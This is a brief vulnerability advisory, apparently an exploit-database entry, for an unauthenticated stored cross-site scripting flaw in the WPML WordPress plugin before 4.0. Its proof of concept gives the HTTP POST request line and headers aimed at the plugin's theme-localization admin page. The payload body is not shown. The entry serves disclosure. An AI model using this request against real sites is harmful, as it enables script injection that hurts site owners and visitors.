WPML < 4.0 - Unauthenticated Stored Cross-Site Scripting (XSS)

Proof of Concept

POST /wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1

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